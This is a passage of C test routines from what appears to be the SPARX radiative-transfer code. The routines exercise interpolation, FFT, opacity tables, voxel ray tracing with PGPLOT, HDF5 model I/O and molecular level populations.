*/\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim ; j++) {\n\t\t\tARR(i, j) = exp(-(pow((i - icen) / width, 2.0) + pow((j - jcen) / width, 2.0)));\n\t\t}\n\t}\n\n\tfprintf(fp, \"# Before:\\n\");\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim ; j++) {\n\t\t\tfprintf(fp, j == 0 ? \"%10.3e\" : \" %10.3e\", ARR(i, j));\n\t\t}\n\t\tfprintf(fp, \"\\n\");\n\t}\n\n\tfprintf(fp, \"# After:\\n\");\n\tfor(i = 0; i < idim2; i++) {\n\t\tfor(j = 0; j < jdim2; j++) {\n\t\t\tx = x1a[0] + (double)i * ((x1a[idim-1] - x1a[0]) / (double)idim2);\n\t\t\ty = x2a[0] + (double)j * ((x2a[jdim-1] - x2a[0]) / (double)jdim2);\n\t\t\tinterp_value = Num_InterpPoly2d(x, y, x1a, x2a, array2d, (size_t)idim, (size_t)jdim, (size_t)4, (size_t)4);\n\t\t\t//interp_value = num_interp_poly_2d(x, y, x1a, x2a, array2d, idim, jdim, 4, 4);\n\t\t\tfprintf(fp, j == 0 ? \"%10.3e\" : \" %10.3e\", interp_value);\n\t\t}\n\t\tfprintf(fp, \"\\n\");\n\t}\n\n\t#undef idim\n\t#undef jdim\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTest_FFT(void)\n{\n\tint idim = 128, jdim = 128, i, j;\n\tint icen = idim / 2, jcen = jdim / 2;\n\tdouble *array2d = Mem_CALLOC(idim * jdim, array2d),\n\t\t*real = Mem_CALLOC(idim*jdim, real),\n\t\t*imag = Mem_CALLOC(idim*jdim, imag);\n\tdouble width = 1.0;\n\t#define ARR(i, j)\\\n\t\tarray2d[j + jdim * i]\n\t#define REAL(i, j)\\\n\t\treal[j + jdim * i]\n\t#define IMAG(i, j)\\\n\t\timag[j + jdim * i]\n\tFILE *fp = fopen(\"SpTest_FFT.txt\", \"w\");\n\n\t/* Setup a 2D gaussian profile exp(-(x^2/width^2 + y^2/width^2)) */\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim ; j++) {\n\t\t\tARR(i, j) = exp(-(pow((i - icen) / width, 2.0) + pow((j - jcen) / width, 2.0)));\n\t\t}\n\t}\n\n\tfprintf(fp, \"# Before:\\n\");\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim ; j++) {\n\t\t\tfprintf(fp, j == 0 ? \"%10.3e\" : \" %10.3e\", ARR(i, j));\n\t\t}\n\t\tfprintf(fp, \"\\n\");\n\t}\n\n\tNumFFT_Xform2d(array2d, (size_t)idim, (size_t)jdim, real, imag);\n\n\tfprintf(fp, \"\\n\\n# After (real):\\n\");\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim ; j++) {\n\t\t\tfprintf(fp, j == 0 ? \"%10.3e\" : \" %10.3e\", REAL(i, j));\n\t\t}\n\t\tfprintf(fp, \"\\n\");\n\t}\n\n\tfprintf(fp, \"\\n\\n# After (imag):\\n\");\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim ; j++) {\n\t\t\tfprintf(fp, j == 0 ? \"%10.3e\" : \" %10.3e\", IMAG(i, j));\n\t\t}\n\t\tfprintf(fp, \"\\n\");\n\t}\n\n\tfclose(fp);\n\tfree(array2d);\n\tfree(real);\n\tfree(imag);\n\n\tSp_PRINT(\"Wrote data to 'SpTest_FFT.txt'\\n\");\n\tSp_PRINT(\"You may now plot the data, e.g. with gnuplot,\\n\");\n\tSp_PRINT(\"gnuplot> set pm3d map\\n\");\n\tSp_PRINT(\"gnuplot> splot 'SpTest_FFT.txt' i 0 matrix w pm3d # Input Gaussian\\n\");\n\tSp_PRINT(\"gnuplot> splot 'SpTest_FFT.txt' i 1 matrix w pm3d # Output (real)\\n\");\n\tSp_PRINT(\"gnuplot> splot 'SpTest_FFT.txt' i 2 matrix w pm3d # Output (imag)\\n\");\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTest_Test(void)\n{\n\tint status = 0;\n\tPyObject *o;\n\n\t/* xmol */\n\tif(!status && !(o = SpInp_GETKEYSTR(\"xmol\")))\n\t\tstatus = 1;\n\n\tif(!status)\n\t\tDeb_PRINT(\"xmol=%g!!!\\n\", Sp_PYDBL(o));\n\n\tif(!status) {\n\t\tDeb_PRINT(\"Hooray!\\n\");\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_Kappa(void)\n{\n\tKappa *kap;\n\t\n\tsize_t i, n = 1000;\n\tdouble c = PHYS_CONST_MKS_LIGHTC;\n\tdouble nu_min, nu_max, nu_del, nu;\n\tFILE *fp = fopen(\"kappa.dat\", \"w\");\n\n\tnu_min = c / 2.0e-6;\n\tnu_max = c / 1.0e-3;\n\tnu_del = (nu_max - nu_min) / (double)n;\n\n\t//kap = Kap_New_Table(Sp_ROOT\"/data/opacity/jena_bare_e5.tab\");\n\tkap = SpIO_FreadKappa(\"jena_bare_e5\");\n\n\tfprintf(fp, \"# Table:\\n\");\n\tfor(i = 0; i < kap->nrows; i++) {\n\t\tfprintf(fp, \"%20g %20g\\n\", kap->freq[i], kap->kappa[i]);\n\t}\n\n\tfprintf(fp, \"\\n\\n# Interpolated:\\n\");\n\n\tfor(i = 0; i < n; i++) {\n\t\tnu = nu_min + nu_del * (double)i;\n\t\tfprintf(fp, \"%20g %20g\\n\", nu, Kap_FromFreq(kap, nu));\n\t}\n\n\tKap_Free(kap);\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_RayTracing3(void)\n{\n\tSpModel model;\n\t#if 1\n\t\tGeVec3_d min = GeVec3_INIT(0.0, 0.0, 0.0),\n\t\t\t max = GeVec3_INIT(0.1, PI, TWOPI);\n\t\tGeVec3_s ndiv = GeVec3_INIT(10, 1, 1);\n\t\tint geom = GEOM_SPH1D;\n\t#else\n\t\tGeVec3_d min = GeVec3_INIT(0.0, 0.0, 0.0),\n\t\t\t max = GeVec3_INIT(0.1, 0.1, 0.1),\n\t\tGeVec3_s ndiv = GeVec3_INIT(10, 10, 10);\n\t\tint geom = GEOM_REC3D;\n\t#endif\n\tsize_t i, side;\n\tdouble r, theta, phi, t;\n\tGeRay ray1, ray2;\n\tZone *root, *zp, *zone;\n\tgsl_rng *rng = gsl_rng_alloc(gsl_rng_mt19937);\n\tGeCam cam = GeCam_INIT(0, 0.0 * PI, 0);\n\n\tMem_BZERO(&model);\n\tSpModel_InitGrid(&model, geom, min, max, ndiv);\n\n\troot = model.grid;\n\n\tcpgopen(\"/xs\");\n\tGeVox_Cpgenv(&model.grid->voxel);\n\tZone_Cpgplot(model.grid, 0);\n\tcpgupdt();\n\n\t#define NRAY 100\n\n\tfor(zone = Zone_GetMinLeaf(model.grid); zone; zone = Zone_AscendTree(zone)) {\n\t\tif(zone->children)\n\t\t\tcontinue;\n\n\t\tfor(i = 0; i < NRAY; i++) {\n\t\t\tif(1) {\n\t\t\t\tray1 = GeRay_Rand(rng, &zone->voxel);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t/* Reset ray */\n\t\t\t\tMem_BZERO(&ray1);\n\n\t\t\t\t/* This samples a random number uniformly in the\n\t\t\t\t * interval [0, 1) */\n\t\t\t\t#define RAND()\\\n\t\t\t\t\tgsl_rng_uniform(rng)\n\t\t\t\t/* This samples a random number uniformly in the\n\t\t\t\t * interval (0, 1) */\n\t\t\t\t#define PRAND()\\\n\t\t\t\t\tgsl_rng_uniform_pos(rng)\n\n\t\t\t\t/* Init ray origin to center of voxel */\n\t\t\t\tray1.e = zone->voxel.cen;\n\n\t\t\t\tr = GeRay_E(ray1, 0);\n\t\t\t\ttheta = PRAND() * PI;\n\t\t\t\tphi = RAND() * TWOPI;\n\t\t\t\t//phi = 0.5 * PI;\n\n\t\t\t\t#if 0\n\t\t\t\tDeb_PRINT(\"r=%g\\n\", GeRay_E(ray1, 0));\n\t\t\t\tDeb_PRINT(\"theta=%g\\n\", GeRay_E(ray1, 1));\n\t\t\t\tDeb_PRINT(\"phi=%g\\n\", GeRay_E(ray1, 2));\n\t\t\t\t#endif\n\n\t\t\t\t/* Convert to rectangular coordinates */\n\t\t\t\tGeRay_E(ray1, 0) = r * sin(theta) * cos(phi);\n\t\t\t\tGeRay_E(ray1, 1) = r * sin(theta) * sin(phi);\n\t\t\t\tGeRay_E(ray1, 2) = r * cos(theta);\n\n\t\t\t\t#if 0\n\t\t\t\tDeb_PRINT(\"x=%g\\n\", GeRay_E(ray1, 0));\n\t\t\t\tDeb_PRINT(\"y=%g\\n\", GeRay_E(ray1, 1));\n\t\t\t\tDeb_PRINT(\"z=%g\\n\", GeRay_E(ray1, 2));\n\t\t\t\t#endif\n\n\t\t\t\tGeVec3_Cpgpt1(&ray1.e, 0, &cam);\n\n\t\t\t\ttheta = PRAND() * PI;\n\t\t\t\tphi = RAND() * TWOPI;\n\t\t\t\t//phi = 0.5 * PI;\n\n\t\t\t\t/* Convert to rectangular coordinates */\n\t\t\t\tGeRay_D(ray1, 0) = sin(theta) * cos(phi);\n\t\t\t\tGeRay_D(ray1, 1) = sin(theta) * sin(phi);\n\t\t\t\tGeRay_D(ray1, 2) = cos(theta);\n\t\t\t}\n\n\t\t\tif(1) {\n\t\t\t\tzp = zone;\n\n\t\t\t\twhile(zp) {\n\t\t\t\t\tif(0) {\n\t\t\t\t\t\tDeb_PRINT(\"Traversing zone: [level %d] \", zp->level);\n\t\t\t\t\t\tGeVec3_PRINT(stdout, zp->index);\n\t\t\t\t\t\tprintf(\"\\n\");\n\t\t\t\t\t}\n\n\t\t\t\t\t/* Calculate path to next boundary */\n\t\t\t\t\tGeRay_TraverseVoxel(&ray1, &zp->voxel, &t, &side);\n\n\t\t\t\t\t//Deb_PRINT(\"t=%g, side=%d\\n\", t, (int)side);\n\n\t\t\t\t\t/* Calculate next ray */\n\t\t\t\t\tray2 = GeRay_Inc(&ray1, t);\n\n\t\t\t\t\tif(1) GeVec3_Cpgarro2(&ray1.e, &ray2.e, &cam);\n\t\t\t\t\tif(0) { cpgupdt(); Deb_PAUSE(); }\n\n\t\t\t\t\t/* Get next zone to traverse to */\n\t\t\t\t\tzp = Zone_GetNext(zp, side, &ray2);\n\n\t\t\t\t\tray1 = ray2;\n\t\t\t\t}\n\n\t\t\t\tif(0) {\n\t\t\t\t\tfprintf(stderr, \"GAR GAR GAR!!! NO INTERSECTION!!!\\n\");\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\n\t\t\t\tif(0) {\n\t\t\t\t\tcpgupdt();\n\t\t\t\t\tDeb_PAUSE();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tcpgclos();\n\n\t#undef NRAY\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_RayTracing2(void)\n{\n\tSpModel model;\n\t#if 1\n\t\tGeVec3_d min = GeVec3_INIT(0.0, 0.0, 0.0),\n\t\t\t max = GeVec3_INIT(0.1, PI, TWOPI),\n\t\t\t offset = GeVec3_INIT(0.0, 0.0, 0.0);\n\t\tGeVec3_s ndiv = GeVec3_INIT(10, 1, 1);\n\t\tint geom = GEOM_SPH1D;\n\t#else\n\t\tGeVec3_d min = GeVec3_INIT(0.0, 0.0, 0.0),\n\t\t\t max = GeVec3_INIT(0.1, 0.1, 0.1),\n\t\t\t offset = GeVec3_INIT(0.05, 0.05, 0.05);\n\t\tGeVec3_s ndiv = GeVec3_INIT(10, 10, 10);\n\t\tint geom = GEOM_REC3D;\n\t#endif\n\tsize_t i, side;\n\tdouble theta, phi, t;\n\tGeRay ray0 = GeRay_INIT(0, 0, 1, 0, 0, -1), ray1, ray2;\n\tZone *root, *zp;\n\tgsl_rng *rng = gsl_rng_alloc(gsl_rng_mt19937);\n\n\tMem_BZERO(&model);\n\tSpModel_InitGrid(&model, geom, min, max, ndiv);\n\n\troot = model.grid;\n\n\tcpgopen(\"/xs\");\n\tGeVox_Cpgenv(&model.grid->voxel);\n\tZone_Cpgplot(model.grid, 0);\n\tcpgupdt();\n\n\t#define NRAY 1000\n\n\tfor(i = 0; i < NRAY; i++) {\n\t\t/* This samples a random number uniformly in the\n\t\t * interval [0, 1) */\n\t\t#define RAND()\\\n\t\t\tgsl_rng_uniform(rng)\n\t\t/* This samples a random number uniformly in the\n\t\t * interval (0, 1) */\n\t\t#define PRAND()\\\n\t\t\tgsl_rng_uniform_pos(rng)\n\n\t\ttheta = PRAND() * PI;\n\t\tphi = RAND() * TWOPI;\n\n\t\t/* debug */\n\t\tif(0) Deb_PRINT(\"i=%d\\n\", i);\n\n\t\t/* For every single ray, there *must* be two intersections with the voxel */\n\t\t/* Reset ray */\n\t\tray1 = ray0;\n\n\t\t/* Rotate theta rad about y axis */\n\t\tray1 = GeRay_Rotate(&ray1, 0, theta);\n\n\t\t/* Rotate phi rad about z axis */\n\t\tray1 = GeRay_Rotate(&ray1, 2, phi);\n\n\t\t/* Offset ray to direct at center of model */\n\t\tray1.e = GeVec3_Add(&ray1.e, &offset);\n\n\t\tif(0) { GeVec3_Cpgpt1(&ray1.e, 0, NULL); continue; }\n\n\t\t/* Test for intersection with root zone */\n\t\tif(GeRay_IntersectVoxel(&ray1, &root->voxel, &t, &side)) {\n\t\t\t/* GeRay hits root zone, locate starting leaf zone for traversal. */\n\t\t\tray2 = GeRay_Inc(&ray1, t);\n\t\t\tGeVec3_Cpgarro2(&ray1.e, &ray2.e, 0);\n\n\t\t\tzp = Zone_GetLeaf(root, side, &ray2.e);\n\n\t\t\tif(0) {\n\t\t\t\tDeb_PRINT(\"starting from leaf: [level %d] \", zp->level);\n\t\t\t\tGeVec3_PRINT(stdout, zp->index);\n\t\t\t\tprintf(\"\\n\");\n\t\t\t}\n\n\t\t\tif(0) { cpgupdt(); Deb_PAUSE(); }\n\n\t\t\twhile(zp) {\n\t\t\t\tif(0) {\n\t\t\t\t\tDeb_PRINT(\"Traversing zone: [level %d] \", zp->level);\n\t\t\t\t\tGeVec3_PRINT(stdout, zp->index);\n\t\t\t\t\tprintf(\"\\n\");\n\t\t\t\t}\n\n\t\t\t\t/* Put ray1 at starting position */\n\t\t\t\tray1 = ray2;\n\n\t\t\t\t/* Calculate path to next boundary */\n\t\t\t\tGeRay_TraverseVoxel(&ray1, &zp->voxel, &t, &side);\n\n\t\t\t\t//Deb_PRINT(\"t=%g\\n\", t);\n\n\t\t\t\t/* Calculate next ray */\n\t\t\t\tray2 = GeRay_Inc(&ray1, t);\n\n\t\t\t\tif(1) GeVec3_Cpgarro2(&ray1.e, &ray2.e, 0);\n\t\t\t\tif(0) { cpgupdt(); Deb_PAUSE(); }\n\n\t\t\t\t/* Get next zone to traverse to */\n\t\t\t\tzp = Zone_GetNext(zp, side, &ray2);\n\t\t\t}\n\t\t}\n\t\telse if(1) {\n\t\t\tfprintf(stderr, \"GAR GAR GAR!!! NO INTERSECTION!!!\\n\");\n\t\t\texit(1);\n\t\t}\n\n\t\tif(0) {\n\t\t\tcpgupdt();\n\t\t\tDeb_PAUSE();\n\t\t}\n\t}\n\tcpgclos();\n\n\t#undef NRAY\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_Math(void)\n{\n\tdouble A[9] = {1, 3, 5, 2, 5, 1, 2, 3, 8}, b[3] = {10, 8, 3}, x[3];\n\tsize_t M = 3, N = 2;\n\n\t/* Test quadratic equation solver */\n\tdouble x1, x2;\n\t/* Distinct real roots -2 and 1 */\n\tNum_QuadraticRoots(1.0, 1.0, -2.0, &x1, &x2);\n\tprintf(\"/* Distinct real roots -2 and 1 */ x1=%g, x2=%g\\n\", x1, x2);\n\n\t/* Double real roots 5 */\n\tNum_QuadraticRoots(1.0, -10.0, 25.0, &x1, &x2);\n\tprintf(\"/* Double real roots 5 */ x1=%g, x2=%g\\n\", x1, x2);\n\n\t/* Complex conjugate roots +/-2i */\n\tNum_QuadraticRoots(1.0, 0.0, 4.0, &x1, &x2);\n\tprintf(\"/* Complex conjugate roots +/-2i */ x1=%g, x2=%g\\n\", x1, x2);\n\n\tNum_QRDecompSolve(A, M, N, b, x);\n\n\t/* Normalized position vector */\n\tGeVec3_d a = GeVec3_INIT(-1, 2, 3);\n\tDeb_PRINT(\"Before normalization:\"); GeVec3_PRINT(stdout, a); printf(\"\\n\");\n\ta = GeVec3_Normalize(&a);\n\tDeb_PRINT(\"After normalization:\"); GeVec3_PRINT(stdout, a); printf(\"\\n\");\n\tDeb_PRINT(\"mag=%g\\n\", GeVec3_Mag(&a));\n\ta = GeVec3_Scale(&a, 3.0);\n\tDeb_PRINT(\"After scaling by 3:\"); GeVec3_PRINT(stdout, a); printf(\"\\n\");\n\tDeb_PRINT(\"mag=%g\\n\", GeVec3_Mag(&a));\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_Nothing(void)\n/* This task is just for generating valgrind supressions */\n{\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NDIV ((size_t)2)\n\nstatic int SpTest_Model(void)\n{\n\tsize_t i;\n\tZone *zp;\n\tSpPhys *pp;\n\tint status = 0;\n\tSpModel model;\n\tconst char *fname = \"test.h5\";\n\tSpFile *sfp = 0;\n\tGeVox voxel = GeVox_INIT(GEOM_REC3D, 0, 0, 0, 0.1, 0.1, 0.1);\n\tGeVec3_s naxes = GeVec3_INIT(NDIV, NDIV, NDIV);\n\n\t/* Create and write model */\n\tMem_BZERO(&model);\n\n\tif(1) {\n\t\tmodel.parms.mol = SpIO_FreadMolec(\"o-h2o_2lev\");\n\t\tif(!model.parms.mol)\n\t\t\tstatus = 1;\n\t}\n\n\tmodel.grid = SpZone_ALLOC(&model.parms);\n\tmodel.grid->voxel = voxel;\n\tSpZone_GROW(model.grid, naxes, &model.parms);\n\n\tif(model.parms.mol) {\n\t\tfor(zp = Zone_GetMinLeaf(model.grid); zp; zp = Zone_AscendTree(zp)) {\n\t\t\tpp = zp->data;\n\t\t\tpp->T_k = 40.0;\n\t\t\tfor(i = 0; i < model.parms.mol->nlev; i++) {\n\t\t\t\tpp->pops[0][i] = SpPhys_BoltzPops(model.parms.mol, i, pp->T_k);\n\t\t\t}\n\t\t}\n\t}\n\n\tif(!status && !(sfp = SpIO_OpenFile(fname, Sp_TRUNC)))\n\t\tstatus = 1;\n\n\tif(!status)\n\t\tstatus = SpIO_FwriteModel(sfp, model);\n\n\tif(sfp)\n\t\tSpIO_CloseFile(sfp);\n\n\tSpModel_Cleanup(model);\n\n\t/* Open and read model */\n\tMem_BZERO(&model);\n\n\tsfp = 0;\n\n\tif(!status && !(sfp = SpIO_OpenFile(fname, Sp_OLD)))\n\t\tstatus = 1;\n\n\tif(!status)\n\t\tstatus = SpIO_FreadModel(sfp, &model);\n\n\tif(sfp)\n\t\tSpIO_CloseFile(sfp);\n\n\tif(!status)\n\t\tSpModel_PrintModel(model);\n\n\tSpModel_Cleanup(model);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define FNAME \"test.h5\"\n\nstatic int SpTest_HDF5(void)\n{\n\tZone *root;\n\tGeVox voxel = GeVox_INIT(GEOM_REC3D, 0, 0, 0, 0.1, 0.1, 0.1);\n\tGeVec3_s naxes = GeVec3_INIT(NDIV, NDIV, NDIV);\n\thid_t file_id;\n\n\troot = SpZone_ALLOC(0);\n\troot->voxel = voxel;\n\tSpZone_GROW(root, naxes, 0);\n\n\t/* Open HDF5 file */\n\tfile_id = H5Fcreate(FNAME, H5F_ACC_TRUNC, H5P_DEFAULT, H5P_DEFAULT);\n\n\t/* Write grid to file */\n\tSpIO_H5WriteGrid(file_id, root);\n\n\t/* Cleanup */\n\tSpZone_FREE(root);\n\n\t/* Close the file */\n\tH5Fclose(file_id);\n\n\t/* Reopen file */\n\tfile_id = H5Fopen(FNAME, H5F_ACC_RDONLY, H5P_DEFAULT);\n\n\troot = 0;\n\n\t/* Load grid data */\n\tSpIO_H5ReadGrid(file_id, &root, 0);\n\n\t/* Close file */\n\tH5Fclose(file_id);\n\t\n\t/* Print grid */\n\tSpZone_FPRINTF(stdout, root);\n\n\t/* Free grid */\n\tSpZone_FREE(root);\n\n\treturn 0;\n}\n\n#undef NDIV\n#undef FNAME\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_RandRay(void)\n{\n\tint status = 0;\n\tSpModel model;\n\tPyObject *o;\n\tGeCam cam;\n\tsize_t i, j, nzone = 0, plane;\n\tGeRay ray;\n\tGeVec3_d tail;\n\tgsl_rng *rng;\n\tdouble theta, phi, t;\n\tZone **zones = 0, *zp;\n\tSpPhys *pp;\n\n\trng = gsl_rng_alloc(gsl_rng_mt19937);\n\tgsl_rng_set(rng, (unsigned long)time(NULL));\n\n\tswitch(4) {\n\t\tcase 0: /* No rotation */\n\t\t\tcam = GeCam_Init(0.0, 0.0, 0.0);\n\t\t\tbreak;\n\n\t\tcase 1: /* Rotate 90 deg about Y axis */\n\t\t\tcam = GeCam_Init(0.0, PI / 2.0, 0.0);\n\t\t\tbreak;\n\n\t\tcase 2: /* Rotate 90 deg about Z axis */\n\t\t\tcam = GeCam_Init(0.0, 0.0, PI/2.0);\n\t\t\tbreak;\n\n\t\tcase 3: /* Rotate 45 deg about Y axis, then 45 deg aobut Z axis */\n\t\t\tcam = GeCam_Init(0.0, PI/4.0, PI/4.0);\n\t\t\tbreak;\n\n\t\tcase 4: /* Rotate 45 deg about Y axis, then 45 deg aobut Z axis */\n\t\t\tcam = GeCam_Init(PI / 4.0, PI/4.0, PI/4.0);\n\t\t\tbreak;\n\t}\n\n\tMem_BZERO(&model);\n\n\t/* Load source model */\n\tif(!status && !(o = SpInp_GETKEYSTR(\"source\")))\n\t\tstatus = 1;\n\tif(!status)\n\t\tstatus = SpIO_OpenModel(Sp_PYSTR(o), &model);\n\tSpPy_XDECREF(o);\n\n\tif(!status) {\n\t\tfor(zp = Zone_GetMinLeaf(model.grid); zp; zp = Zone_AscendTree(zp)) {\n\t\t\t/* Pointer to physical parameters */\n\t\t\tpp = zp->data;\n\n\t\t\t/* Collect non-empty zones for easy looping and multi-threading */\n\t\t\tif(pp->n_H2 * pp->X_mol > DBL_EPSILON && !zp->children) {\n\t\t\t\tnzone += 1;\n\t\t\t\tzones = Mem_REALLOC(nzone, zones);\n\t\t\t\tzones[nzone - 1] = zp;\n\t\t\t}\n\t\t}\n\t}\n\n\tif(!status) {\n\t\t/* Print model */\n\t\tSpModel_PrintModel(model);\n\n\t\t/* Open PGPLOT device */\n\t\tcpgopen(\"/xs\");\n\n\t\t/* Set plot window */\n\t\tGeVox_Cpgenv(&model.grid->voxel);\n\t\t//Cpg_Env(-1.0, 1.0, -1.0, 1.0, 1, 0);\n\n\t\t/* Plot voxel */\n\t\tZone_Cpgplot(model.grid, &cam);\n\t\t//GeVox_Cpgplot(&model.grid->voxel, &cam);\n\n\t\t#define NRAY 5\n\n\t\tfor(i = 0; i < nzone; i++) {\n\t\t\t/* Loop through all rays */\n\t\t\tfor(j = 0; j < NRAY; j++) {\n\t\t\t\tzp = zones[i];\n\n\t\t\t\t/* Init ray origin to center of voxel */\n\t\t\t\tray.e = zp->voxel.cen;\n\n\t\t\t\t/* Set random ray direction: first obtrain direction\n\t\t\t\t * in spherical coordinates then convert to rectangular coordinates */\n\t\t\t\ttheta = gsl_rng_uniform_pos(rng) * PHYS_CONST_PI;\n\t\t\t\tphi = gsl_rng_uniform_pos(rng) * PHYS_CONST_TWOPI;\n\n\t\t\t\tGeVec3_X(ray.d, 0) = sin(theta) * cos(phi);\n\t\t\t\tGeVec3_X(ray.d, 1) = sin(theta) * sin(phi);\n\t\t\t\tGeVec3_X(ray.d, 2) = cos(theta);\n\n\t\t\t\twhile(zp) {\n\t\t\t\t\ttail = ray.e;\n\n\t\t\t\t\t/* Calculate path to next boundary */\n\t\t\t\t\tGeRay_TraverseVoxel(&ray, &zp->voxel, &t, &plane);\n\t\t\t\t\tray = GeRay_Inc(&ray, t);\n\n\t\t\t\t\tGeVec3_Cpgarro2(&tail, &ray.e, &cam);\n\n\t\t\t\t\tzp = Zone_GetNext_rec3d(zp, plane, &ray.e);\n\t\t\t\t} //while(zp)\n\t\t\t\tcpgupdt();\n\t\t\t\tDeb_PAUSE();\n\t\t\t} //for(NRAY)\n\t\t} //for(nzone)\n\n\t\t#undef NRAY\n\t} //if(!status)\n\n\t/* Cleanup */\n\t/* Close PGPLOT device */\n\tcpgclos();\n\tSpModel_Cleanup(model);\n\tgsl_rng_free(rng);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_Phys(void)\n{\n\tint status = 0;\n\tsize_t i;\n\tdouble T_k;\n\tconst char *molec = \"o-h2o_2lev\";\n\tMolec *mol;\n\n\t/* 2-level molecules are SIGNIFICANTLY faster when calculating LTE pops! */\n\tmol = SpIO_FreadMolec(molec);\n\n\tDeb_ASSERT(mol != 0);\n\n\tfor(i = 0; i < 10; i++) {\n\t\tT_k = 100.0 * ((int)i + 1) / 10.0;\n\t\tprintf(\"Botlzmann ratio for %s 1-0 @ %g K=%g\\n\", molec, T_k, SpPhys_BoltzRatio(mol, 1, 0, T_k));\n\t}\n\n\tMol_Free(mol);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NDIV 2\n#define NI NDIV\n#define NJ NDIV\n#define NK NDIV\n\nstatic int SpTest_Zone(void)\n{\n\tint status = 0, non_empty = 0;\n\tZone *root, *zp;\n\tGeVox voxel = GeVox_INIT(GEOM_REC3D, 0, 0, 0, 0.1, 0.1, 0.1);\n\tGeVec3_s naxes = GeVec3_INIT(NDIV, NDIV, NDIV);\n\tSpFile *sfp;\n\tSpModel model;\n\tint test = 0;\n\tsize_t i;\n\tdouble radius, ipos, jpos, kpos;\n\tSpPhys *pp;\n\tSpPhysParm prm;\n\tsize_t num = 0;\n\ttime_t tm0, tm1;\n\n\tMem_BZERO(&model);\n\n\t/* 2-level molecules are SIGNIFICANTLY faster when calculating LTE pops! */\n\tmodel.parms.mol = SpIO_FreadMolec(\"o-h2o_2lev\");\n\n\tDeb_ASSERT(model.parms.mol != 0);\n\n\tprm = model.parms;\n\n\t/* Allocate grid and write to file */\n\tif(!status) {\n\t\t/* Allocate model grid, assume dimensions of root node is 1pc x 1pc x 1pc */\n\t\tmodel.grid = root = Zone_Alloc(0, 0, SpPhys_Alloc, &prm);\n\t\troot->voxel = voxel;\n\t\tZone_GrowChildren(root, naxes, SpPhys_Alloc, &prm);\n\t\tZone_GrowChildren(Zone_CHILD2(root, 0, 0, 0), naxes, SpPhys_Alloc, &prm);\n\n\t\tDeb_PRINT(\"Setting up model...\\n\");\n\t\ttime(&tm0);\n\t\tnum = 0;\n\t\tfor(zp = Zone_GetMinLeaf(root), num = 0; zp; zp = Zone_AscendTree(zp)) {\n\t\t\t/* Calculate positions */\n\t\t\tipos = (int)GeVec3_X(zp->index, 0) - (int)NI / 2 + 0.5;\n\t\t\tjpos = (int)GeVec3_X(zp->index, 1) - (int)NJ / 2 + 0.5;\n\t\t\tkpos = (int)GeVec3_X(zp->index, 2) - (int)NK / 2 + 0.5;\n\n\t\t\tswitch(test) {\n\t\t\t\tcase 0:\n\t\t\t\t\t/* Cubic model */\n\t\t\t\t\tnon_empty = 1;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 1:\n\t\t\t\t\t/* Plane parallel model */\n\t\t\t\t\tnon_empty = fabs(ipos) <= 2;\n\t\t\t\t\tbreak;\n\n\n\t\t\t\tcase 2:\n\t\t\t\t\t/* Spherical model */\n\t\t\t\t\tradius = sqrt(ipos * ipos + jpos * jpos + kpos * kpos);\n\t\t\t\t\tnon_empty = radius <= NI / 2;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 3:\n\t\t\t\t\t/* Disk model */\n\t\t\t\t\tradius = sqrt(ipos * ipos + jpos * jpos);\n\t\t\t\t\tnon_empty = (radius <= NI / 2 && fabs(kpos) <= 2);\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\t/* No such case! */\n\t\t\t\t\tDeb_ASSERT(0);\n\t\t\t}\n\n\t\t\tif(non_empty) {\n\t\t\t\tpp = zp->data;\n\t\t\t\tpp->T_k = 40.0; /* K */\n\t\t\t\tpp->n_H2 = 1.0e4 * PHYS_UNIT_MKS_PERCC; /* m^-3 */\n\t\t\t\tpp->X_mol = 1.0e-8;\n\t\t\t\tpp->width = 192.0;\n\n\t\t\t\tfor(i = 0; i < prm.mol->nlev; i++) {\n\t\t\t\t\tpp->pops[0][i] = SpPhys_BoltzPops(prm.mol, i, pp->T_k);\n\t\t\t\t}\n\n\t\t\t\tif(0) {\n\t\t\t\t\tGeVec3_X(pp->v_cen, 0) = -1000;\n\t\t\t\t\tGeVec3_X(pp->v_cen, 1) = 0;\n\t\t\t\t\tGeVec3_X(pp->v_cen, 2) = 0;\n\n\t\t\t\t\tfor(i = 0; i < 8; i++) {\n\t\t\t\t\t\tGeVec3_X(pp->v_edge[i], 0) = -1000;\n\t\t\t\t\t\tGeVec3_X(pp->v_edge[i], 1) = 0;\n\t\t\t\t\t\tGeVec3_X(pp->v_edge[i], 2) = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tnum++;\n\t\t}\n\t\ttime(&tm1);\n\t\tDeb_PRINT(\"Done, num=%d, delta_t=%d\\n\", num, tm1 - tm0);\n\t}\n\n\tsfp = SpIO_OpenFile(\"zone_test.sparx\", Sp_NEW);\n\tif(sfp) {\n\t\tSpIO_FwriteModel(sfp, 